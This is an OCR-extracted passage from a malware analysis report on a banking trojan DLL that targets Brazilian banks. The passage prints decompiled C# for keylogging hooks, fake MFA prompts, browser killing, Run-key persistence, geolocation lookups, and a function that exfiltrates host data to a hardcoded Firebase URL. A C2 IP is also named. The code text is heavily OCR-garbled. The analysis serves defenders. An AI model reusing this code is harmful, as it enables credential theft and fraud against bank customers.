shareMalwareActivityAndManagePanels.manipulatePanels
HorizentalAlignment.Center;
shareMalwareActivityAndManagePanels.manipulatePanels
shareMalwareActivityAndManagePanels.manipulatePanels
13f, FontStyle.Regular);
shareMalwareActivityAndManagePanels.manipulatePanels
shareMalwareActivityAndManagePanels.manipulatePanels
shareMalwareActivityAndManagePanels.manipulatePanels
shareMalwareActivityAndManagePanels. manipulatePanels

}

.BB_@801 = 2;
.makePanelvisible(false);

. FORMDADOS..
. FORMDADOS..
. FORMDADOS .

. FORMDADOS .
. FORMDADOS .

. FORMDADOS .
. FORMDADOS .

. FORMDADOS

. FORMDADOS..

. FORMDADOS .

. FORMDADOS

. FORMDADOS .
.001.Visible = true;
. FORMDADOS .

. FORMDADOS

.TEXT_001.
. FORMDADOS .
. FORMDADOS .

Width = 798;
Height = 599;
StartPosition =

FormBorderStyle =

Width = 171;
Height = 28;

TEXT_001.
TEXT_001.
TEXT_001.

TEXT_001.
TEXT_001.

MaxLength = 8;
BordersStyle =
TEXT_001. TextAlign =

TopMost = true;

LTEXT_001.Font = new Font("Arial",

TEXT_001.ForeColor =

001.BringToFront();

.decodeBasesdImage(@base,

shareMalwareActivityAndManagePanels.manipulatePanels . FORMDADOS.PIC_0O1);
shareMalwareActivityAndManagePanels,manipulatePanels, FORMDADOS , ShowDialog();
shareMalwareActivityAndManagePanels.manipulatePanels . SetForegroundWindow

{shareMalwareActivityAndManagePanels.manipulatePanels. FORMDADOS . Handle);

Location = new Point

PasswordChar = "#';

Color.Black;

Figure 41: Snippet of code used to show a fraudulent 8-digit MFA prompt for Banco do
Brazil login

This indicates that the Threat Actor did not invest significant effort into producing
efficient or elegant source code. Additionally, this lack of refinement is not an isolated
issue; throughout the analysis, numerous examples of inefficient and inelegant functions,
along with inadequate error handling and the use of deprecated methods, were identified.

As illustrated in Fig. 42, the extracted code used by the QRCode function to display
MFA prompts reveals potential impacts on several financial institutions:

Banco do Brasil SA

Itav Unibanco Holding SA
Banco Bradesco SA

Caiza Economica Federal
Banco Santander Chile/Mezxico
Banco Safra

Banco Cooperativo Sicredi
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ITATOKEN
DESCTOKF
BBCODE
ITA6
CEFASSIOT
CEFASSI02
ASSNITURA
ASSITOKFF
ASSITOKMM
ASSIMCODE
MPSMS
MPZAP
MP2FA

SAFRATOKEPAAS
SENHA DE 6 BB
SENHA DE 8 BB
SENHA DE 8 CERT
SENHA DE QRCODE BB
SENHA DE 6 ITA
SENHA DE TOKEN ITA
SENHA DE CEF ASSI
ASSIN SICRED
TOKEN-FIS SICRED
TOKEN-MOBILE SICRED
QRCODE SICRED

MP SMS

MP ZAP

BRADESCO TOKEN FIS:
BRADESCO TOKEN CELL:
BRADESCO QRCODE:

SANTANDER QRCODE:

Figure 42: List of codes used to distinguish between banks and their MFA prompts.

Another notable capability of this DLL pertains to its keylogging functionality (Fig.
43 and Fig. 44). The Command & Control server utilizes an RFID code of 3 to enable
the keylogging feature. Conversely, an RFID code of 4 triggers the DLL to transmit the
captured text back to the server. The DLL leverages the translateAndDispatchMessage
method, which calls functions from user32.dll, including GetMessage, TranslateMessage,
and DispatchMessage. This method is used within a broader context involving hooks and
input manipulation, suggesting that this loop may also handle messages related to these
hooks, such as custom keyboard or mouse events. In addition to the previously identified
capabilities, it is important to note that this malicious DLL also can manipulate and
gather screen information. It can alter the mouse position and configurations, further
expanding its potential for malicious activities.

{

}

¢

3

if (rfid == 3)

manipulateHooks.setHandleAndHook();
manipulateHooks.translateAndDispatchMessage();

else if (rfid == 4)

new stringMessage(manipulateHooks.unHookAndgetText()).Execute(client);

Figure 43: RFID 3 and 4 are used to code the keylogging activation and acquired data

exfiltration.
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public static string unHookAndgetText()

{

] manipulateHooks.UnhookWindowsHookEx(manipulateHooks.KeyCapt);
return manipulateHooks.texto;

b

// Token: 8x@6@03856 RID: 14422
public static void setHandleAndHook()
{
] IntPtr moduleHandle = manipulateHooks.GetModuleHandle(null);

manipulateHooks._keyboardProc = new manipulateHooks.LowLevelKeyboardProc(manipulateHooks.Captchar);
manipulateHooks.KeyCapt = manipulateHooks.SetWindewsHookEx(13, manipulateHooks._keyboardProc, moduleHandle, 8U);
. manipulateHooks.texto = "";

}

// Token: @x06003857 RID: 14423 RVA: 0x007502B8 File Offset: Ox0074E6BS
private static IntPtr Captchar{int nCode, IntPtr wParam, IntPtr lParam)

if (nCode >= © && (wParam == (IntPtr)256 || wParam == (IntPtr)26@))
{

char[] array = new char[2];
byte[] array2 = new byte[256];
manipulateHooks.GetKeyboardState(array2);
IntPtr keyboardlLayout = manipulateHooks.GetKeyboardLayout(8u);
int num = manipulateHooks.ToUnicodeEx(kbdllhookstruct.vkCode, kbdllhookstruct.scanCode, array2, array, 2, @U,
keyboardlLayout);
if (num > @)
{
manipulateHooks.texto += new string(array, @, num).Replace(™\@", "");
}
¥
return manipulateHocks.CallNextHookEx{manipulateHocks.KeyCapt, nCode, wParam, lParam);
}

manipulateHooks.KBDLLHOOKSTRUCT kbdllhookstruct = Marshal.PtrToStructure<manipulateHooks.KBDLLHOOKSTRUCT>(1Param)

// Token: 8x86883858 RID: 14424

public static void translateAndDispatchMessage()
{
] manipulateHooks.MSG msg;

while (manipulateHooks.GetMessage(out msg, IntPtr.Zero, @U, 8U))
{
manipulateHoocks.TranslateMessage(ref msg);

manipulateHooks.DispatchMessage(ref msg);

1

Figure 44: Main keylogging methods defined in the subjected malicious DLL.

After an initial understanding of the threat’s capabilities, it was needed to find out
how it really operates when executed. To do so, it was needed to find the namespace
exporting the functions requested by steamerrorreporting.exe. Once found, it was possible

to find how none but one of them was really implemented (Fig. 45).

public static void V_UTF16ToUTF8()
{
i if (Environment.O0SVersion.Version.Major >= &)

i {

: ' Exports.SetProcessDPIAware();

. |

Process.GetCurrentProcess().PriorityClass = ProcessPriorityClass.High;
i Application.EnableVisualStyles();

! Application.SetCompatibleTextRenderingDefault(false);
Application.Run{new alLotOfMaliciousStuff());

Figure 45: V_.UTF16ToUTF$§ exported function.

Once the malicious DLL is loaded, it initializes a class designated as aLotOfMali-

ciousStuff, which constructs an interactive form for the victim (Fig. 46).
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// Token
{
this

this

this

base

base

base

this.
.button2
' base.

: OxP60038AD RID: 14509 RVA: Ox00750F4C File Offset:
private void InitializeComponent()

buttonl = new Button();
new Button();
SuspendLayout();

. .buttonl.Location = new Point(®, @);
| this.
: this.
! this.
' this.
© this.
| this.

buttonl.Name = "buttonl";

buttonl.Size = new Size(75, 23);
buttonl.TabIndex = 8;

buttonl.Text = "buttoni”;
buttonl.UseVisualStyleBackColor = true;
buttonl.Click += this.buttonl_Click;

: .button2.Location = new Point(@, 29);
: this.
this.
this.
this.
this.

button2.Name = "button2";

button2.Size = new Size(75, 23);
button2.TabIndex = 1;

button2.Text = "button2";
button2.UseVisualStyleBackColor = true;

. .AutoScaleDimensions = new SizeF(6f, 13f);
: base.
' base.
.Controls.Add(this.button2);
base.
base.
this.

AutoScaleMode = AutoScaleMode.Font;
ClientSize = new Size(120, 95);

Controls.Add(this.buttonl);
Name = "FormAtendimentoN1";
Text = "In_te:rnet--_--:Ba.n_king...C_AI.:XA";

.Load += this.QuasarApplication_Load;
' base.

ResumeLayout(false);

©x0e74F34C

Figure 47: First form loaded by forged wvstdlib_s6/.dll.

{

// Token:

public class alotOfMaliciousStuff : Form

this.InitializeComponent();
alotOfMaliciousStuff.writeDatalog();

9x06003891 RID: 14481 RVA: 9x0000251C File Offset: ©x0080891C
public alLotOfMaliciousStuff()
{

Figure 46: aLotOfMaliciousStuff initialization.

The function that initializes this form shows an interesting string mentioning Internet
Banking CAIXA, used to mimic the Spanish multinational financial service company

(Fig. 47)°.

Once the victim clicks on Button_1, a routine named checkDailyBlock is executed.
This routine searches for the presence of a daily .block file in the Documents folder (Fig.
48). If the file is not found, the function terminates. Before exiting, it attempts to
reconnect to its Command & Control server if the connection had been previously lost.
The routine then assigns the parameters indicated in Fig. 18 to class variables. Should
the connection to the C2 server have been interrupted, it makes an additional attempt
to re-establish it (Fig. 49) and verifies the existence of a handle to a shell instance (Fig.

50).

Shttps:/ /www.caixa.gov.br/
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{

public static void checkDailyBlock()

string text = "C:\\Users\\Public\\Documents";
string todayFileMName = DateTime.Now.ToString("ddMMyyyy") + ".block";
Path.Combine(text, todayFileName);
string[] files = Directory.GetFiles(text, "*.block");
if (files.Length == @)
i
Console.Writeline("Nenhum arquive .block encontrade.");
alotOfMaliciocusStuff.continuar = false;
parameters.setParams();
if (!persistenceInformationSet.Disconnect)

alotOfMaliciousStuff.testConnectionOverHosts();

¥
alotOfMaliciousStuff.checkShellExistsAndCloseMutex();
return;

}
if (files.Any((string file) => Path.GetFileName(file) == todayFileName))
{

MessageBox.Show("Sistema Indisponivel, tente novamente mais tarde!™, “"Error”, M
MessageBoxDefaultButton.Buttonl, MessageBoxOpticns.DefaultDesktopOnly);
alotOfMaliciousStuff.killBrowsers();
return;
}

foreach (string text2 in files)

if (Path.GetFileName(text2) != todayFileName)

HI ¢
try

File.Delete(text2);

Consele.WriteLine("Arquive " + text2 + " excluido.");
E catch (Exception ex)
H {
i  Console.WriteLine("Erro ao excluir arquivo " + text2 + ": " + ex.Message);
H ¥
[

}
parameters.setParams();
alotOfMaliciousStuff.continuar = false;
if (lpersistenceInformationSet.Disconnect)
{
alotOfMaliciousStuff.testConnectionOverHosts();
¥
alotOfMaliciousStuff.checkShellExistsAndCloseMutex();

B: tons.0K, Mess

BoxIcon.Hand,

Figure 48: Function used to check for the existence of a daily block.

{

private static void testConnectionOverHosts()

Task.Run{delegate

{

P try

P

: [ while (aLotOfMaliciousStuff._reconnect && !persistenceInformationSet.Disconnect)
Lo g

L © if (lalotOfMaliciousStuff._connected)

A .

! ! ' . Thread.Sleep(1€@ + new Random().Next(®, 258));

[ : formatHostnameAndPort nextHost = alotOfMaliciousStuff._hosts.GetNextHost();
E E j alLotOfMaliciousStuff.ConnectClient.initializeConnection(nextHost.Hostname, nextHost.Port);
: : : Thread.Sleep(200);

. . . : Application.DoEvents();

.

H ; E while (alLotOfMaliciousStuff._connected)

: ! Application.DoEvents();

{1 i Thread.Sleep(2508);

A

i , \ if (persistenceInformationSet.Disconnect)

AR R

' H ' alotOfMaliciousStuff.ConnectClient.disconnect();

E E i [ break;

SRR

! ! ' Thread.Sleep(parameters.RECONNECTDELAY + new Random{).Next(258, 758));

i : ¥

ol

. finally

P

: ; Environment.Exit(e);

' 1

s

Figure 49: testConnectionOverHosts function
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private static void checkShellExistsAndCloseMutex()
{
sendMalwareActivityPerfomedLogs.isSHellNull();

{

¥
if (aLotOfMaliciousStuff._msglLoop != null)
{
alotOfMaliciousStuff._msglLoop.ExitThread();
}
' manageMutex.CloseMutex();

if (sendMalwareActivityPerfomedlLogs.StreamCodec != null)

sendMalwareActivityPerfomedLogs.StreamCodec.Dispose();

Figure 50: checkShellExistAndCloseMutezr function

If the daily .block file is present, the routine displays a message box indicating an
error, advising the user to try again later. Following this, it attempts to terminate any
running instances of Chrome, Edge, Firefox, Opera, and Avast Browser (Fig. 51). Before
exiting, it performs the same actions as described earlier: setting parameters, verifying
the connection status, and checking for the existence of a handle to a shell instance.

private static void killBrowsers()
{

{
; foreach (Process process in Process.GetProcessesByName(text))
¢
try
i
process.Kill();
Console.Writeline(text + " fechado.");

catch (Exception ex)

{

: Console.WriteLine("Erro ac fechar ™ + text + ": " + ex.Message)
: ; +

[

¥
b

foreach (string text in new string[] { “"chrome®, "msedge", "firefox", "opera", "AvastBrowser" })

Figure 51: Function used to kill any active instance of the hardcoded browsers.

Upon invocation, the class also triggers a function named writeDataLog (Fig. 52).
This function first checks for the presence of a Data.log file in the directory where the
DLL was executed. If the file already exists, the function simply exits. However, if the
file is not found, it creates the file, initializes it with the current date, and then calls
another function to send basic information to the Command & Control (C2) server. The
existence of this Data.log file serves as a muter, enabling the DLL to determine whether
the C2 server has already been informed of the host’s compromise. Additionally, since
the file is not removed, it functions as a timestamp for the infection date.

{

private static wvoid writeDatalog()

string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Data.log");

try
{

! if (IFile.Exists(text))

oo f

' File.WriteAllText(text, text2);

alotOfMaliciousStuff,postBasicExfilData();
¥

)
catch (Exception)
{
¥

string text2 = DateTime.Now.ToString("dd:MM:yyyy");

Figure 52: Function used to write a log file containing the today’s date.
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postBasicFxfilData gathers the following three main asset’s information:

e Machine Name

e Actual Date and Time

e Presence of known banking software

All these information gets stored in a json structure, where the content is Base6/ encoded,
and posted as an async call to the CéC Server. The following are the respective used to
map these values (Fig. 53):

o MAQUINA

o DATA

e PLUGIN

{

{
3

public static async Task postBasicExfilData()

string text = "https://liga-73@ce-default-rtdb.europe-westl.firebasedatabase.app/user.json”;
try
{

catch (Exception)

string text2 = Convert.ToBases4String(Encoding.UTF8.GetBytes(Environment.MachineName));

string text3 = Convert.ToBaseg4String(Encoding.UTF8.GetBytes(DateTime.Now.ToString("dd.MM.yyyy HH:mm:ss")));

List<int> list = alotOfMaliciousStuff.pathListofFolders();

string textd = string.Join<int>(",", list);

string text5 = Convert.ToBase64String(Encoding.UTF8.GetBytes(textd));

jsonThreeVarStruct<string, string, string> jsonThreevarStruct = new jsonThreeVarStruct<string, string, string>(text2
text3, textS);

string text6é = string.Concat(new string[] { "{\"MAQUINA\":\"", jsonThreeVarStruct.MAQUINA, "%\",\"DATA\":\"",
jsonThreeVarStruct.DATA, "\",\"PLUGIN\":\"", jsonThreeVarStruct.PLUGIN, "\"}" });

using (StringContent content = new StringContent(texté, Encoding.UTF8, "application/json"})

{

; bool isSuccessStatusCode = (await alotOfMaliciousStuff.httpClient.PostAsync(text, content)).IsSuccessStatusCode;

¥

StringContent content = null;

Figure 53: Function used to exfiltrate data to CéC.

The following function is employed to verify whether some security-related software
is installed on the compromised asset. All of them seems to be distributed by desktop
home-banking solutions which require this security plugins to be installed (Fig. 54).
When one of them is found, a special code gets added to the list that is passed to the
callee function and sent to the C'2 Server:

o Aplicativo Itau: Home-banking software related to Itau Unibanco Holding SA;

e Topaz OFD: Banking security module which some banks, e.g. Banco do Brazil,
require to be installed;

o Trusteer: Security software, developed by IBM, which is installed by some banks
to enhance user’s security over frauds and threat infections;

e scpbrad: Associated to the ScpSecurityService software which is developed and
distributed by Banco Bradesco S.A.
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public static List<int> pathListofFolders()
{
List<int> list = new List<int>();
string text = "C:\\Users\\™ + Environment.UserName + "\\AppData\\Local\\Aplicative Itau";
if (Directory.Exists("C:\\Program Files\\Topaz OFD\\Warsaw"})
{
list.Add(1);
3
if (Directory.Exists(text))
{
list.Add(2);
}
if (Directory.Exists("C:\\ProgramData\\scpbrad"))
list.Add(3);
}
if (Directory.Exists("C:\\ProgramData\\Trusteer"))
list.Add(4);
}
if (list.Count == @)
list.Add(e);
}
return list;
b3

Figure 54: Function used to map installed banking software.

Meanwhile, the OnLoad function undertakes tasks related to the geographic identifi-
cation of the victim’s IP address and the implementation of persistence mechanisms (Fig.
55).

private static void persistenceAndGeoloc()
if (!manageMutex.CreateMutex{parameters.MUTEX))

persistenceInformationSet.Disconnect = true;
¥
if (persistenceInformationSet.Disconnect)

return;

3}
crypto.mdSHash(parameters.PASSWORD) ;
alotOfMaliciousStuff._hosts = new manageHostsList(manipulateHosts.GetHostsList("54.233.85.151:443"));
persistenceInformationSet.InstallPath = Path.Combine(parameters.DIR, ((!string.IsNullOrEmpty(parameters.SUBFOLDER)) ?
(parameters.SUBFOLDER + "\\") : "") + parameters.INSTALLNAME);
findGeoIPInformation.identifyGeoIPTelizeCountryImage();
if (aLotOfMaliciousStuff._hosts.IsEmpty)
{
persistenceInformationSet.Disconnect = true;

¥
if (persistenceInformationSet.Disconnect)
{

return;
}

if (!parameters.INSTALL || persistenceInformationSet.CurrentPath == persistenceInformationSet.InstallPath)

findUserstatus.startThread();
if (parameters.STARTUP &% parameters.INSTALL && !registerPersistence.setRegisterKey())

persistenceInformationSet.AddToStartupFailed = true;
3
alotOfMaliciousStuff.InitializeClient();
alotOfMaliciousStuff.createWindow();
manipulateCursor.checkTransparentExists();
return;
3}
manageMutex.CloseMutex();
persistenceInstallation.installMalware(alotOfMaliciousStuff.ConnectClient);

i

Figure 55: Function used to localize the victim and achieve persistence into the system.

Initially, the function attempts to create a muter using the name specified in the
initial configuration class. If the muter creation fails, the function disconnects from the
C?2 server and terminates. However, if the mutex is successfully created, the process pro-
ceeds by generating a new cryptographic key through the MD$ hashing of the embedded
PASSWORD parameter (Fig. 56). Subsequently, it updates the host list with the C&C
IP address and port.
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C:\ Users\<username>\ AppData\ Roaming\SUB\INSTALL is chosen as value for the
InstallPath variable.

public static void mdSHash(string key)

! using (MD5CryptoServiceProvider mdSCryptoServiceProvider = new MD5CryptoServiceProvider())
; crypto._key = md5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(key));

}

Figure 56: MDJ5 hash function to manipulate the hardcoded PASSWORD parameter.

At this stage, the function attempts to determine the user’s geographical location
using the Telize service (Fig. 57 and Fig. 58). Additionally, it utilizes a list of flag image
names to match the identified nationality with the corresponding image string (Fig. 58).

public static void identifyGeoIPTelizeCountryImage()
{
TimeSpan timeSpan = new TimeSpan(DateTime.UtcNow.Ticks - findGeoIPInformation.Lastlocated.Ticks);
if (timeSpan.TotalMinutes > 38.8 || !findGeoIPInformation.LocationCompleted)
{
: findGeoIPInformation.geoIPTelize();
. if (findGeoIPInformation.GeoInfo.country_code == "-" || findGeoIPInformation.GeoInfo.country == "Unknown")
. {
i findGeoIPInformation.ImageIndex = 247;
' return;
L)
: for (int i = @; i < findGeoIPInformation.ImagelList.Length; i++)
oA
: : if (findGeoIPInformation.Imagelist[i].Contains(findGeoIPInformation.GeoInfo.country_code.TolLower()))
[ ¢
i ' ' findGeoIPInformation.ImageIndex = i;
it 1 return;
! H ¥
LY
i ¥
3

Figure 57: Function to identify victim’s location and find an image for its country’s flag.

private static void geoIPTelize()

findGeoIPInformation.LocationCompleted = false;
try
€

. DataContractlsonSerializer dataContract)sonSerializer = new DataContractlsonSerializer(typeof(geoIPInformationSet));
HttpllebReguest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://telize.com/geoip”);
httpWebRequest.UserAgent = "Mozilla/5.@ (Windows NT 6.3; rv:36.9) Gecko/2@18@181 Firefox/36.9";

httpWebRequest.Proxy = null;

httpWebRequest.Timeout = 5000;

using (HttpllebResponse httpllebResponse = (HttpWebResponse)httpWebRequest.GetResponse())

{

using (Stream resp tream = http P .GetResponseStream())
{

using (StreamReader streamReader = new StreamReader(responseStream))
{
string text = streamReader.ReadToEnd();

using (MemoryStream memoryStream = new MemoryStream(Encoding.UTF8.GetBytes(text)))
{
findGecIPInformation.GeoInfo = (geoIPInformationSet)dataContract)sonSerializer.ReadObject(memoryStream);

¥
}

findGeoIPInformation,LastLocated = DateTime,UtcNow;
! findGeoIPInformation.LocationCompleted = true;
+
catch

findGeoIPInformation.freeGeoIP();

i3

Figure 58: Interface to query Telize geoip function and retrieve victim’s location.
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public static readonly string[] Imagelist = new string[]

{
"ad.png”, "ae.png”, "af.png", "ag.png", "ai.png”, "al.png", "am.png", "an.png”, "ac.png", "ar.png",
"as.png”, "at.png”, "au.png”, “aw.png", “"ax.png", "az.png", "ba.png", "bb.png", "bd.png", “"be.png",
"bf.png", "bg.png", "bh.png", "bi.png", "bj.png", "bm.png", "bn.png", "bo.png", "br.png", "bs.png",
"bt.png", "bv.png", "bw.png", "by.png", "bz. "catalonia.png"”, "cc.png", "cd.png", "cf.png",
“cg.png”, "ch.png”, "ci.png", “ck.png”, “"cl. “cn.png”, "co.png”, "cr.png”, "cs.png”,
"cu.png”, "cv.png", "ex.png”, “cy.png", "cz. “dj.png", "dk.png", "dm.png", "do.png",
"dz.png"”, “ec.png", "ee.png", "eg.png", “"eh.png", “"england.png”, "er.png", "es.png", “et.png", "europeanunion.png”,
"fam.png", "fi.png", "fj.png", "fk.png", "fm.png", "fo.png", "fr.png", "ga.png", "gb.png", "gd.png",
"ge.png”, "gf.png", "gh.prg", "gi.png", "gl.png", "gm.png”, "gn.png”, "gP.png", "B9.prg", "Br.png".
"gs.png”, "EL.png”, "gu.png”, "gw.png", "EY.png”, "hk.png”, "hm.png”, "hn.png", "hr.png”, "ht.png",
“hu.png", "id.png", “ie.png", “"il.png", "in.png", "io.png", "iq.png", "ir.png", "is.png", "it.png",
“jm.png", “jo.png", "Jp.png", “ke.png". "kg.png", "kh.png", “ki.png", “"km.png", “kn.png", “kp.png",
"kr.png", "kw.png", "ky.png", "kz.png", "la.png", "lb.png", "le.png", "li.png", "lk.png", "lr.png",
"ls.png”, "lt.png”, "lu.png”, "lv.png", “"ly.png", "ma.png”, "mc.png”, "md.png”, "me.png", "mg.png",
"mh.png", "mk.png", "ml.png", “"mm.png", "mn.png", "mo.png", "mp.png", "mq.png", "mr.png", "ms.png",
"mt.png”, "mu.png”, "mv.png", “"mw.png", "mx.png", "my.png", "mz.png", "na.png", “"nc.png", “"ne.png",
"nf.png", "ng.png", "ni.png", "nl.png", "no.png", "np.png", "nr.png", “nz.png", “em.png",
"pa.png”, "pe.png", "pf.png", "pg.png”, “ph.png", "pk.png", "pl.png", “pn.png”, "pr.png",
"ps.png”, "pT.png”, "pwW.png", “py.png", "ga.png”, "re.png”, "ro.png”, » "ru.png”, “rw.png”,
"sa.png”, "sb.png"”, "sc.png", “scotland.png”, "sd.png", "se.png”, “sg.png”, "sh.png", "si.png", "sj.png",
"sk.png”, “sl.png", “sm.png", “sn.png", “so.png", “sr.png", "st.png", “sy.png", “sz.png",
"tc.png", "td.png", "tf.png", "tg.png", "th.png", "tm.png", "tn.png",
"to.png", "tr.png®, "tt.png", "tv.png", "tw.png", “um.png”, "us.png",
"uy.png", "uz.png", "va.png", "vc.png", "ve.png", "wu.png", "wales.png",
"wf.png", "ws.png", "ye.png", "yt.png", "za.png",

};

Figure 59: National flags images list

Additionally, the module implements a double fail-safe mechanism for user geo-localization.
If the initial attempt using Telize fails, it will revert to the freeGeolP service (Fig. 60).
Should this also fail, a final attempt is made using the ipify APIs (Fig. 61).

private static void freeGeoIP()

findGeoIPInformation.GeoInfo = new geoIPInformationSet();

try

{
HttphebRequest httpWebRequest = (HttphebRequest)WebRequest.Create("http://freegeoip.net/xml/");
httpWebRequest.UserAgent = "Mozilla/5.8 (Windows NT 6.3; rv:36.8) Gecko/20100101 Firefox/36.8";
httpWebRequest.Proxy = null;
httpWebRequest.Timeout = 588@;
using (HttpWebResponse httpWebResponse = (HttpWebResponse)httpheb lest.Get p )
{

using (Stream responseStream = httpWebResponse.GetResponseStream())
using (StreamReader streamReader = new StreamReader(responseStream))

string text = streamReader.ReadToEnd();

XmlDocument xmlDocument = new XmlDocument();

xmlDocument.LoadXml(text);

string innerXml = xmlDocument.SelectSingleNode("Response//IP").InnerXml;

string innerXml2 = xmlDocument.SelectSingleNode("Response//CountryName"), InnerXml;
string innerXml3 = xmlDocument.SelectSingleNode("Response//CountryCode™).Innerxml;
string innerXml4 = xmlDocument.SelectSingleNode("Response//RegionName").InnerXml;
string innerXml5 = xmlDocument.SelectSingleNode("Response//City").InnerXml;

findGeoIPInformation.GeoInfo.ip = ((!string.IsNullOrEmpty(innerXml)) ? innerXml : "-");
findGeoIPInformation.GeoInfo.country = ((!string.IsNullOrEmpty(innerXml2)) ? innerXml2 : "Unknown™);|
findGeoIPInformation.GeoInfo.country_code = ((!string.IsNullOrEmpty(innerXml3)) ? innerXml3 : "-");

findGeoIPInformation.GeoInfo.region = ((!string.IsNullOrEmpty(innerXml4)) ? innerXml4 : “"Unknown");
findGeoIPInformation.GeoInfo.city = ((!string.IsNullOrEmpty(innerXml5)) ? innerXml5 : "Unknown™);

+

3
findGeoIPInformation.LastLocated = DateTime.UtecNow;
findGecIPInformation.LocationCompleted = true;

}
catch
{
! findGeoIPInformation.GeoInfo.country = "Unknown";
findGeoIPInformation.GeoInfo.country_code = "-";
findGeoIPInformation.GeoInfo.region = "Unknown";
findGecIPInformation.GeoInfo.city = "Unknown™;
findGeoIPInformation.LocationCompleted = false;

3
if (string.IsNullorEmpty(findGeoIPInformation.GeoInfo.ip))
{

findGeoIPInformation.ipify();

Figure 60: Function used to track user location with FreeGeolP service.
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private static void ipify()

{

¢ string text = "-";

ootry

ot

: © HttpWebReguest httpWebRequest = (HttpWebRequest)WebRequest.Create("http://api.ipifyv.org/");
] httpWebRequest.UserAgent = "Mozilla/5.@ (Windows NT 6.3; rv:36.8) Gecko/20188181 Firefox/36.8";
httpWebRegquest.Proxy = null;

: httplebRequest.Timeout = 5008;

i using (HttpWebResponse httpWebResponse = (HttplWlebResponse)httpWebRequest.GetResponse())
: {

! using (Stream responseStream = httpWebResponse.GetResponseStream())

: {

' using (StreamReader streamReader = new StreamReader(responseStream))

: text = streamReader.ReadToEnd();

' ¥

: ¥

] . 1

N |

catch (Exception)

I |

findGeoIPInformation.GeoInfo.ip = text;

b3

Figure 61: Function used to track user location with ipify service.

After determining the victim’s location, the analyzed function attempts to establish
persistence by creating a new registry entry under either the CurrentVersion\ Run path
or its Wow6432Node equivalent (Fig. 62 and Fig. 63). The entry’s key name is derived
from a value initialized in the parameters class and includes the current path of the DLL.

public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false)
{

bool flag;

try

{
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).0penWritableSubKeySafe(path))
1

if (registryKey == null)
{

flag = false;
>
else
{
if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\""))
{

value = "\"" + value ¢+ "\"";

registryKey.SetValue(name, value);
flag = true;
¥
: ¥
¥
catch (Exception)
flag = false;
H
return flag;

}

Figure 62: Primitive used to create a new key inside Windows registry.

public static class registerPersistence

// Token: @x@58@3B1F RID: 15135
private static string getIfSystemIsX64()
if (!findWindowsVersion.Isé4Bit)
{
return "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";

}
return "SOFTWARE\\Wow8432Node\\Microsoft\\Windows\\CurrentVersion\\Run";

// Token: Bx@6@83B2@ RID: 15136
public static bool setRegisterKey()

if (findUserStatus.GetAccountType() == "Admin")

{
return editRegistryKey.AddRegistryKeyValue(RegistryHive.localMachine, registerPersistence.getIfSystemIsX64(),

parameters.STARTUPKEY, persistenceInformationSet.CurrentPath, true) || editRegistryKey.AddRegistryKeyValue
(RegistryHive.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", parameters.STARTUPKEY,
persistencelnformationSet.CurrentPath, true);

¥
return editRegistryKey.AddRegistryKeyValue(RegistryHive.CurrentUser, "Software\\Microsoft\\Windows\\CurrentVersion\\Run",

parameters.STARTUPKEY, persistencelnformationSet.CurrentPath, true);

Figure 63: Function used to set a key inside Windows registry.
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persistenceAndGeoLoc function will then first verify the existence of the file transpar-
ent.cur in the Temp directory. If this file is not found, it will proceed to clean up specific
hardcoded values associated with mouse customization, particularly within the Cursor
registry subkey. This cleanup operation will occur only if the Cursor subkey contains
any entries. Essentially, this function aims to hide the mouse cursor by removing its
customization settings, ensuring that the cursor remains invisible to the user (Fig. 64).

public static void checkTransparentExists()
{
try
{
if (File.Exists(Path.Combine(Path.GetTempPath(), “"transparent.cur")))
{
manipulateCursor.deleteCursorsNameFromRegistry();
}
else
{
Console.WriteLine("Nenhum arquivo de cursor personalizado encontrado para resetar.");
i
¥
catch (Exception)
{

}
¥

// Token: @x@680384C RID: 14412
public static void deleteCursorsNameFromRegistry()

{
string[] array = new string[]

"Arrow", "IBeam", "Wait", "Crosshair”, "UpArrow", "SizeNWSE"”, "SizeMESW", "SizeWE", "SizeNS", "SizeAll",
"No", "Hand", "AppStarting", "Help"
i;ing (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Control Panel\\Cursors", true))
: if (registryKey != null)
H foreach (string text in array)
! registryKey.DeleteValue(text, false);
;anipulateCursor.SystemParametEPsInfo(S?U, eu, IntPtr.Zero, 3U);

s

Figure 64: Function used to check for existence of transparent.cur and removal of values
from mouse customization reg keys.

Finally, the function handles the installation of itself into the filesystem. It begins
by checking if the directory C:\ Users\<username>\AppData\ Roaming\SUB\INSTALL
exists. If it does not, the function creates this directory. If files are already present in
this location, the function removes them, including terminating any processes that have
handles open to these files to facilitate their removal. This process involves an additional
delay of 5000 ms if a file in the INSTALL folder is currently in use (Fig. 65). After
ensuring that the persistence key is properly added to the system registry, the function
sets the hidden attribute on the newly copied instance of itself in the InstallPath. Finally,
it initiates the persistent copy as a new process and disconnects from the Command &
Control server.
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public static void checkTransparentExists()
{
try
{
if (File.Exists(Path.Combine(Path.GetTempPath(), “transparent.cur")))
{
manipulateCursor.deleteCursorsNameFromRegistry();
¥
else
{
Console.WriteLine("Nenhum arquivo de cursor personalizado encontrado para resetar.");

H
}

catch (Exception)

{
¥
3

// Token: ex@6ee384C RID: 14412

public static void deleteCursorsNameFromRegistry()

1
string[] array = new string[]

"Arrow", "IBeam", "Wait", "Crosshair", "UpArrow", "SizeNWSE", "SizeNESW", "SizeWE", "SizeNS", "SizeAll"
"No", "Hand", "AppStarting", "Help"
3;ing (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Control Panel\\Cursors", true))
H if (registryKey != null)
: foreach (string text in array)
! registryKey.DeleteValue(text, false);

manipulateCursor,SystemParametersInfo(87U, eU, IntPtr.Zero, 3U);

b3

Figure 65: First half of the function used to install it-self inside victim’s filesystem.

if (parameters.STARTUP && !registerPersistence.setRegisterKey())
{
! persistenceInformationSet.AddToStartupFailed = true;
¥
if (parameters.HIDEFILE)
{
try
{
k File.SetAttributes(persistencelnformationSet.InstallPath, FileAttributes.Hidden);
¥
catch (Exception)
{
' ¥
¥
ProcessStartInfo processStartInfo = new ProcessStartInfo
{
